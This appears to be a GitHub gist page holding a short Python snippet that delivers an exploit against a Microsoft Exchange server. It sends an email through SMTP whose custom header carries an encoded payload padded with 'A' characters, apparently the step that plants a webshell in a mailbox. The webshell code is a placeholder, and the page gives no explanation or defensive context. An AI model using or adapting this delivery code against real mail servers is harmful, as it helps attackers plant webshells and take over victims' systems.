Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
from_mail = 'attacker@exchange.local'
to_mail = 'orange@exchange.local'
payload = 'webshell code here...'
msg = MIMEText(None, _subtype='plain')
msg.set_payload('hi', 'utf-8')
msg['Subject'] = 'exploit'
msg['From'] = from_mail
msg['To'] = to_mail
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16)
msg = msg.as_string().replace('\n', '\r\n')
r = smtplib.SMTP('exchange.local', port=25)
r.sendmail(from_mail, to_mail, msg)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment